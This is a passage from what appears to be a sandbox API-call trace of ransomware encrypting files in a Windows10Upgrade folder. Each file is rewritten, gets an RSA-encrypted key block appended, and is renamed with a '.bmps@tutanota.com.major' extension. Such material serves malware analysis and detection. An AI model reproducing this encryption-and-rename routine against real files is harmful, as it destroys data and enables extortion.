lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.660] CloseHandle (hObject=0x638) returned 1 [0151.660] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.660] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.css.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0151.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0151.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb98 | out: hHeap=0x570000) returned 1 [0151.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0151.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eda0 [0151.662] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0151.662] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.662] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.htm", dwFileAttributes=0x80) returned 1 [0151.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ecd0 [0151.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0151.663] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecd0 | out: hHeap=0x570000) returned 1 [0151.663] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.663] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=55866) returned 1 [0151.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xda3a) returned 0x6518a0 [0151.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xda3a) returned 0x2e40fd8 [0151.663] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0xda3a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0xda3a, lpOverlapped=0x0) returned 1 [0151.665] SetFilePointer (in: hFile=0x638, lDistanceToMove=-55866, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.665] WriteFile (in: hFile=0x638, lpBuffer=0x2e40fd8*, nNumberOfBytesToWrite=0xda3a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda3a, lpOverlapped=0x0) returned 1 [0151.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fd8 | out: hHeap=0x570000) returned 1 [0151.665] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda3a [0151.665] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.666] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.666] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.666] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.666] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.666] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="K8y4LkQIsK+sJSA4DokJKBXWUTjE9U6/8qicL4lZhvvRFzCMT4s2MDyiCTCJBxBn\ngFP91qloe0tC8M+Js3H30P4cM7tPfgfItNOqdVeTQx1mXMjbq3UmpQ81m53M2uS9\ntd7aDNF98rMTxI7HIsOy9HkRpPH+Dwbcq0V1cfdWOStZIA3yVhvaaHjwyQUwfWSE\n9HQ8mMfdlobPNCV3uX6k8urD5AIyWkIfPgRrJJ5Di867RZlqiZfgrhbC28j3cWVo\nLh/YLAO+PKtIr8l5cJsuoV1KFqAJq1U+UJnHtPaSakqzUEmQ4Wn43oGiaqQ0HS26\nIg5nv+mA+mOf2iRdaOmemA==\n", pcchString=0x2e3f9a8) returned 1 [0151.666] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.666] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.666] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.667] CloseHandle (hObject=0x638) returned 1 [0151.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.667] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0151.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0151.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eda0 | out: hHeap=0x570000) returned 1 [0151.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0151.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ea60 [0151.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0151.670] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.670] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.css", dwFileAttributes=0x80) returned 1 [0151.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ef40 [0151.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0151.671] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef40 | out: hHeap=0x570000) returned 1 [0151.671] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.671] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6700) returned 1 [0151.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a2c) returned 0x6518a0 [0151.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a2c) returned 0x6532d8 [0151.671] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a2c, lpOverlapped=0x0) returned 1 [0151.710] SetFilePointer (in: hFile=0x638, lDistanceToMove=-6700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.710] WriteFile (in: hFile=0x638, lpBuffer=0x6532d8*, nNumberOfBytesToWrite=0x1a2c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6532d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a2c, lpOverlapped=0x0) returned 1 [0151.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6532d8 | out: hHeap=0x570000) returned 1 [0151.710] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a2c [0151.710] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.710] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.710] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.710] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.711] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.711] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="TpJIoGn84+RgAMunjx4UkbDjrujZyPINghYXN8H1pQ1rjDMqW8JmUaJP+6zS+GO3\nM/lzxzGE7T8agkVvkylFquM+8hWLFhUFdqOq8ZxXCAC5PxJ89axkvneTPVyUk+2J\ndYwrl3pk+P5NuUaFkSGRF+Ru6btWOujXT3sZpYiXo9vbnKnOmDnUyfS9dJ0DLuP5\n0YE9DCmLHGeNI8DmfAlMuKadKLUoRe21M59uWx0cMfAvydRZsSAHs2FbsWPebD6V\nfnHpYLJGDZaMEai+fKucpDdg2uqxykJubX+RRpkjzWgQsYedkFK2LzWyms6HhGv8\n7T19esLiQMGp3fqFiRujnw==\n", pcchString=0x2e3f9a8) returned 1 [0151.711] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.711] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.711] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.711] CloseHandle (hObject=0x638) returned 1 [0151.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.711] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.css.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0151.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0151.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea60 | out: hHeap=0x570000) returned 1 [0151.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0151.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e928 [0151.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0151.714] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.714] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default.htm", dwFileAttributes=0x80) returned 1 [0151.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eda0 [0151.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0151.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eda0 | out: hHeap=0x570000) returned 1 [0151.715] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.715] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=62541) returned 1 [0151.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf44d) returned 0x6518a0 [0151.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf44d) returned 0x2e40fd8 [0151.715] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0xf44d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0xf44d, lpOverlapped=0x0) returned 1 [0151.738] SetFilePointer (in: hFile=0x638, lDistanceToMove=-62541, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.738] WriteFile (in: hFile=0x638, lpBuffer=0x2e40fd8*, nNumberOfBytesToWrite=0xf44d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf44d, lpOverlapped=0x0) returned 1 [0151.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fd8 | out: hHeap=0x570000) returned 1 [0151.739] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf44d [0151.739] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.739] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.739] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.739] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.740] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.740] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="K0Hh5S7y9FjjF7cfytAz7McWJDs/xaOFWVUDzgv/eQlNdKSoigFAMnYuIw5moGWX\njLhJtQmyVQBFhsgmydSUet8amTxsV6GRy1t9NjrhcfTYJKxf8h452W3whUKkcF8k\nBjmbQYGJIi69SI9NCZDB5zlaSzyZ7RrUp23pMx2JjqyB/5u1FNZ2vnyDXWHzPPM2\njVxkDlsRagQMRaV6oxwPBLQvDAfNSxnklzImEMyVfE6Hh0N0BR2m9GoROxeme7wE\nMk0beecwGNl+iqFIKdiZjc75F13wZVXZDCXpjNxj6uwLbHLFMxSxJfh8AwGxR6QF\nTsvHpH0SqTE4WROEOLf+dg==\n", pcchString=0x2e3f9a8) returned 1 [0151.740] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.740] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.740] CloseHandle (hObject=0x638) returned 1 [0151.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.740] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0151.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0151.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e928 | out: hHeap=0x570000) returned 1 [0151.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0151.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ee08 [0151.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0151.742] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.742] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default.css", dwFileAttributes=0x80) returned 1 [0151.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e928 [0151.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e678 [0151.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e928 | out: hHeap=0x570000) returned 1 [0151.742] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.743] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5767) returned 1 [0151.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1687) returned 0x6518a0 [0151.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1687) returned 0x652f30 [0151.743] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x1687, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1687, lpOverlapped=0x0) returned 1 [0151.744] SetFilePointer (in: hFile=0x638, lDistanceToMove=-5767, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.744] WriteFile (in: hFile=0x638, lpBuffer=0x652f30*, nNumberOfBytesToWrite=0x1687, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1687, lpOverlapped=0x0) returned 1 [0151.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652f30 | out: hHeap=0x570000) returned 1 [0151.744] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1687 [0151.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.744] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.744] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.744] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.745] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="hQ43my2CXPCUHMgjAcq+zGH8CmXKv8aFILK2uC/IUgsSjttyRzd0ZDDCfU2IOhL8\nU6AqmiytREgwsMHphzNPqCPftEOyOEuYFv4wmVfQKwzPKf1RUBdNH6c2eIu4MVwz\nS6lyihSMH4+2G7uib0NwqIzQBpUOXS7Oi9o+M8L/f+jajq2JHCo93jD6VN74jQGL\n65i6H7Rrkndz0RTzLBWTtrUI5VSpdJITo6WGjNb1B0sFwrv1z92JZB0s1MNCkQ9o\n61CvMtMPipKUc8ii+7xCAVGBxmvMpcPRbeU9e7pudeJ39RV2ZfHFTZZ4byDZlDJ6\n1ABJx865BYKghhBcBbSgHw==\n", pcchString=0x2e3f9a8) returned 1 [0151.745] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.745] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.745] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.745] CloseHandle (hObject=0x638) returned 1 [0151.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.745] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default.css.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0151.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0151.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0151.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0151.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eda0 [0151.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0151.746] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.746] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\bullet.png", dwFileAttributes=0x80) returned 1 [0151.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ee70 [0151.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0151.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee70 | out: hHeap=0x570000) returned 1 [0151.747] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.747] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: 